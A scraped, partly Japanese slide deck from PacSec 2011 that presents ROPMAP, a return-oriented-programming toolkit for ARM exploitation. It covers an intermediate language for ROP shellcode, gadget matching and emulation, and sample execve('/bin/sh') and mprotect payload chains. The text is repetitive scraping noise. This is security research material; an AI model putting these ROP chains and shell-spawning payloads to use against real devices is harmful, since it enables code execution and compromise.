ARM ROPMAP Long Le Thanh Nguyen longld thanhvnsecurity

  • Slides: 44
Download presentation
ARM 攻略のROPMAP Long Le – Thanh Nguyen {longld, thanh}@vnsecurity. net Pac. Sec 2011

ARM 攻略のROPMAP Long Le – Thanh Nguyen {longld, thanh}@vnsecurity. net Pac. Sec 2011

プレゼン終了後には・・・ ROPシェルコード ガジェット・チェーン ペイロード • LOAD r 0, • LOAD r 1, • LOAD

プレゼン終了後には・・・ ROPシェルコード ガジェット・チェーン ペイロード • LOAD r 0, • LOAD r 1, • LOAD r 2, • LOAD r 7, • SYSCALL • ldr r 0 [sp #12] ; add sp sp #20 ; pop {pc} • pop {r 1 r 2 r 3 r 4 r 5 pc} • pop {r 2 r 3 r 7 pc} • svc 0 x 0000 ; pop {r 4 r 7} ; bx lr • [ BASE+0 xaa 0, 0 x 4 b 4 e 554 a, 0 x 4 b 4 e 554 b, 0 x 4 b 4 e 554 c, 0 xdeadbeef, 0 x 4 b 4 e 554 e ] • [ BASE+0 x 10 d 4, 0 x 0, 0 x 4 b 4 e 554 b, 0 x 4 b 4 e 554 c, 0 x 4 b 4 e 554 d, 0 x 4 b 4 e 554 e ] • … #0 xdeadbeef #0 #0 #0 xb ARM EXPLOITATION ROPMAP 5

ROPツールキットをARMに拡張 ARM EXPLOITATION ROPMAP 6

ROPツールキットをARMに拡張 ARM EXPLOITATION ROPMAP 6

X 86からARMへ:レジスタ x 86 ARM eax, ebx, ecx, edx, esi, edi r 0, r

X 86からARMへ:レジスタ x 86 ARM eax, ebx, ecx, edx, esi, edi r 0, r 1, r 2, r 3, r 4, … r 11, r 12 esp sp (r 13) ebp fp (r 11) eip pc (r 15) N/A lr (r 14) ARM EXPLOITATION ROPMAP 7

X 86からARMへ:アセンブリ x 86 ARM pop eax pop {r 0} mov eax, ebx mov

X 86からARMへ:アセンブリ x 86 ARM pop eax pop {r 0} mov eax, ebx mov r 0, r 1 add eax, ebx add r 0, r 1 add eax, 0 x 10 add r 0, #16 mov eax, [ebx] ldr r 0, [r 1] mov [eax+0 x 10], ebx str r 1, [r 0, #16] call eax blx r 0 jmp eax bx r 0 call function bl function (return address in lr) ret pop {pc} / bx lr int 0 x 80 svc 0 x 80 / svc 0 x 0 ARM EXPLOITATION ROPMAP 8

X 86からARMへ:シェルコード x 86 ARM eax = sysnum r 7/r 12 = sysnum ebx

X 86からARMへ:シェルコード x 86 ARM eax = sysnum r 7/r 12 = sysnum ebx = arg 1 r 0 = arg 1 ecx = arg 2 r 1 = arg 2 edx = arg 3 r 2 = arg 3 … … int 0 x 80 svc 0 x 80 / svc 0 x 0 ARM EXPLOITATION ROPMAP 9

X 86からARMへ:ROP ガジェット x 86 ARM ret pop {…, pc} bx lr pop edi;

X 86からARMへ:ROP ガジェット x 86 ARM ret pop {…, pc} bx lr pop edi; ebp; ret pop {r 1, r 2, pc} call eax blx r 0 jmp eax bx r 0 Instruction alignment: No Instruction alignment: - 4 bytes (ARM) - 2 bytes (THUMB) Unintended code Intended code (mostly) ARM EXPLOITATION ROPMAP 10

クイック・デモ ARM EXPLOITATION ROPMAP 12

クイック・デモ ARM EXPLOITATION ROPMAP 12

ROPシェルコードのための中間 言語 ARM EXPLOITATION ROPMAP 13

ROPシェルコードのための中間 言語 ARM EXPLOITATION ROPMAP 13

ROP IL 命令 ROP命令 • LOAD • STORE • ADJUST • CALL • SYSCALL

ROP IL 命令 ROP命令 • LOAD • STORE • ADJUST • CALL • SYSCALL • NOP ARM EXPLOITATION ROPMAP LHS RHS LHS/RHSタイプ • REG: レジスタ • VAL: 値 • REF: レジスタの参照先 • MEM: メモリの参照先 • NON 16

ROP IL:ロード » レジスタに値をロード 文法 使用例 LOAD Rm, #value LOAD r 0, #0 xcafebabe

ROP IL:ロード » レジスタに値をロード 文法 使用例 LOAD Rm, #value LOAD r 0, #0 xcafebabe LOAD Rm, Rn LOAD r 0, r 1 LOAD Rm, [Rn] LOAD r 0, [r 1] LOAD Rm, [#address] LOAD r 0, [#0 xdeadbeef] ARM EXPLOITATION ROPMAP 17

ROP IL:格納 » レジスタに値を格納 文法 使用例 STORE [Rm], Rn STORE [r 0], r 1

ROP IL:格納 » レジスタに値を格納 文法 使用例 STORE [Rm], Rn STORE [r 0], r 1 STORE [Rm], #value STORE [r 0], #0 xcafebabe STORE [Rm], [Rn] STORE [r 0], [r 1] STORE [#target], Rn STORE [#0 xdeadbeef], r 0 STORE [#target], [Rn] STORE [#0 xdeadbeef], [r 0] STORE [#target], #value STORE [#0 xdeadbeef], #0 xcafebabe STORE [#target], [#address] STORE [#0 xdeadbeef], [#0 xbeefc 0 de] ARM EXPLOITATION ROPMAP 18

ROP IL:調整 » レジスタの値に加減算を行う 文法 使用例 ADJUST Rm, Rn ADJUST r 0, r 1

ROP IL:調整 » レジスタの値に加減算を行う 文法 使用例 ADJUST Rm, Rn ADJUST r 0, r 1 ADJUST Rm, #value ADJUST r 0, #4 ADJUST Rm, [Rn] ADJUST r 0, [r 1] ADJUST Rm, [#address] ADJUST r 0, [#0 xdeadbeef] ARM EXPLOITATION ROPMAP 19

ROP IL:呼び出し » 関数を呼び出す・関数にジャンプする 文法 使用例 CALL Rm CALL r 0 CALL [Rm] CALL

ROP IL:呼び出し » 関数を呼び出す・関数にジャンプする 文法 使用例 CALL Rm CALL r 0 CALL [Rm] CALL [r 0] CALL #address CALL #0 xdeadbeef CALL [#address] CALL [#0 xdeadbeef] ARM EXPLOITATION ROPMAP 20

ROP IL:システムコール » システムコール 文法 SYSCALL ARM EXPLOITATION ROPMAP 使用例 SYSCALL 21

ROP IL:システムコール » システムコール 文法 SYSCALL ARM EXPLOITATION ROPMAP 使用例 SYSCALL 21

シェルコードのサンプル(1) » mprotect(writable, size, flag) • LOAD r 0, #writable • LOAD r 1,

シェルコードのサンプル(1) » mprotect(writable, size, flag) • LOAD r 0, #writable • LOAD r 1, #size • LOAD r 2, #flag • LOAD r 7, #0 x 7 d • SYSCALL » execve(“/bin/sh”, 0, 0): known “/bin/sh” address • LOAD r 0, #binsh_address • LOAD r 1, #0 • LOAD r 2, #0 • LOAD r 7, #0 xb • SYSCALL ARM EXPLOITATION ROPMAP 22

シェルコードのサンプル(2) » execve(“/bin/sh”, 0, 0): use known writable data region to store “/bin/sh” •

シェルコードのサンプル(2) » execve(“/bin/sh”, 0, 0): use known writable data region to store “/bin/sh” • STORE [#writable], #0 x 6 e 69622 f ; “/bin” • STORE [#writable+0 x 4], #0 x 68732 f ; “/sh” • LOAD r 0, #writable • LOAD r 1, #0 • LOAD r 2, #0 • LOAD r 7, #0 xb • SYSCALL ARM EXPLOITATION ROPMAP 23

高級ラッパーの例(1) » syscall(sysnum, *args) • LOAD r 0, #arg 1 • LOAD r 1,

高級ラッパーの例(1) » syscall(sysnum, *args) • LOAD r 0, #arg 1 • LOAD r 1, #arg 2 • LOAD r 2, #arg 3 • LOAD r 3, #arg 4 • LOAD r 4, #arg 5 • LOAD r 5, #arg 6 • LOAD r 7, #sysnum • SYSCALL ARM EXPLOITATION ROPMAP 24

高級ラッパーの例(2) » funcall(address, *args) • LOAD r 0, #arg 1 • LOAD r 1,

高級ラッパーの例(2) » funcall(address, *args) • LOAD r 0, #arg 1 • LOAD r 1, #arg 2 • LOAD r 2, #arg 3 • LOAD r 3, #arg 4 • $arg 5 • … • CALL #address ARM EXPLOITATION ROPMAP 25

高級ラッパーの例(3) » save_result(target) • STORE [#target], r 0 » write 4_with_offset(reference, value, offset) •

高級ラッパーの例(3) » save_result(target) • STORE [#target], r 0 » write 4_with_offset(reference, value, offset) • LOAD r 0, [#reference] • ADJUST r 0, #offset • STORE [r 0], #value ARM EXPLOITATION ROPMAP 26

ROPMAPの実装 ARM EXPLOITATION ROPMAP 27

ROPMAPの実装 ARM EXPLOITATION ROPMAP 27

ROPMAPサンプル:ロード mov Rm, #value LOAD Rm, #value pop {Rm, …, pc} ldr Rm, [sp

ROPMAPサンプル:ロード mov Rm, #value LOAD Rm, #value pop {Rm, …, pc} ldr Rm, [sp …] mov Rm, Rn LOAD Rm, Rn add Rm, Rn sub Rm, Rn LOAD Rm, [Rn] ldr Rm, [Rn …] LOAD Rm, [#addr] LOAD Rn, #addr LOAD Rm, [Rn] ARM EXPLOITATION ROPMAP 30

ROPMAPサンプル:格納 STORE [Rm], Rn str Rn, [Rm …] STORE [Rm], #value LOAD Rn, #value

ROPMAPサンプル:格納 STORE [Rm], Rn str Rn, [Rm …] STORE [Rm], #value LOAD Rn, #value STORE [Rm], Rn STORE [Rm], [#addr] LOAD Rn, [#addr] STORE [Rm], Rn STORE [#target], Rm LOAD Rn, [#target] STORE [Rn], Rm STORE [#target], #value LOAD Rm, #value STORE [#target], Rm STORE [#target], [#addr] LOAD Rn, [#addr] STORE [#target], Rn ARM EXPLOITATION ROPMAP 31

ペアを突合 pop {r 4 pc} D E CH AT M STORE [#target], [#addr] E

ペアを突合 pop {r 4 pc} D E CH AT M STORE [#target], [#addr] E CH D ldr r 0 [r 4 #4] ; pop {r 4 r 5 r 6 r 7 pc} AT M pop {r 4 pc} D E CH AT M ARM EXPLOITATION ROPMAP str r 0 [r 4 #16] ; mov r 0 r 3 ; pop {r 1 r 2 r 3 r 4 r 5 pc} 33

ガジェット検証 LOAD r 6, [r 5] ED T N I TA TA STORE [r

ガジェット検証 LOAD r 6, [r 5] ED T N I TA TA STORE [r 1], [r 5] ARM EXPLOITATION ROPMAP ldr r 6 [r 5 #4] ; sub r 0 r 6 ; pop {r 4 r 5 r 6 pc} D TE N I ldr sub add pop r 1 [r 5 #36] ; r 5 [r 4 #36] ; r 0 r 1 r 5 ; sp sp #36 ; {r 4 r 5 r 6 r 7 pc} 34

リバース・マッチング HE C AT (2) M D r 4 = #address - 4 pop

リバース・マッチング HE C AT (2) M D r 4 = #address - 4 pop {r 4 pc} LOAD r 0, [#address] ldr r 0 [r 4 #4] ; pop {r 4 r 5 r 6 r 7 pc} HE C AT (1) M ARM EXPLOITATION ROPMAP D r 4 = #address - 4 38

ガジェット・エミュレーション » 単一のガジェット » スタック関係のオペレーションのみ uninitialized registers JUNK+4 JUNK+3 SP = SP+3 SP JUNK+2

ガジェット・エミュレーション » 単一のガジェット » スタック関係のオペレーションのみ uninitialized registers JUNK+4 JUNK+3 SP = SP+3 SP JUNK+2 r 7 = JUNK+2 JUNK+1 r 3 = JUNK+1 JUNK SP Init state r 2 = JUNK Execute JUNK pop {r 2 r 3 r 7 pc} ; ; r 2 = 0 x 0 r 7 = 0 xb value constraints ARM EXPLOITATION ROPMAP 39

スタックへの再書き込み » ペイロード=スタック上の値 SP = SP+3 SP r 7 = JUNK+2 r 3 =

スタックへの再書き込み » ペイロード=スタック上の値 SP = SP+3 SP r 7 = JUNK+2 r 3 = JUNK+1 JUNK r 2 = JUNK pop {r 2 r 3 r 7 pc} ; ; 0 xb r 2 = 0 x 0 r 7 = 0 xb Write back JUNK+1 0 x 0 SP Payload ARM EXPLOITATION ROPMAP 40

アウトプット・ペイロード » execve(“/bin/sh”, 0, 0) # # [ # # # [ # ROP

アウトプット・ペイロード » execve(“/bin/sh”, 0, 0) # # [ # # # [ # ROP code: load r 0, #0 xdeadbeef pop {r 0 pc} BASE+0 x 2 d 38, 0 xdeadbeef ] ---------------------------------ROP code: load r 1, #0 pop {r 1 r 7 pc} BASE+0 xbb 3 d, 0 x 0, 0 x 4 b 4 e 554 b ] ---------------------------------ROP code: load r 2, #0 pop {r 2 r 3 r 6 pc} BASE+0 x 256 f 9, 0 x 0, 0 x 4 b 4 e 554 b, 0 x 4 b 4 e 554 c ] ---------------------------------ROP code: load r 7 pop {r 1 r 7 pc} BASE+0 xbb 3 d, 0 x 0, 0 xb ] ---------------------------------ROP code: syscall svc 0 x 0000 ; pop {r 4 r 7} ; bx lr BASE+0 x 1804, 0 x 4 b 4 e 554 a, 0 xb ] --------------------------------- ARM EXPLOITATION ROPMAP 41

デモ ARM EXPLOITATION ROPMAP 42

デモ ARM EXPLOITATION ROPMAP 42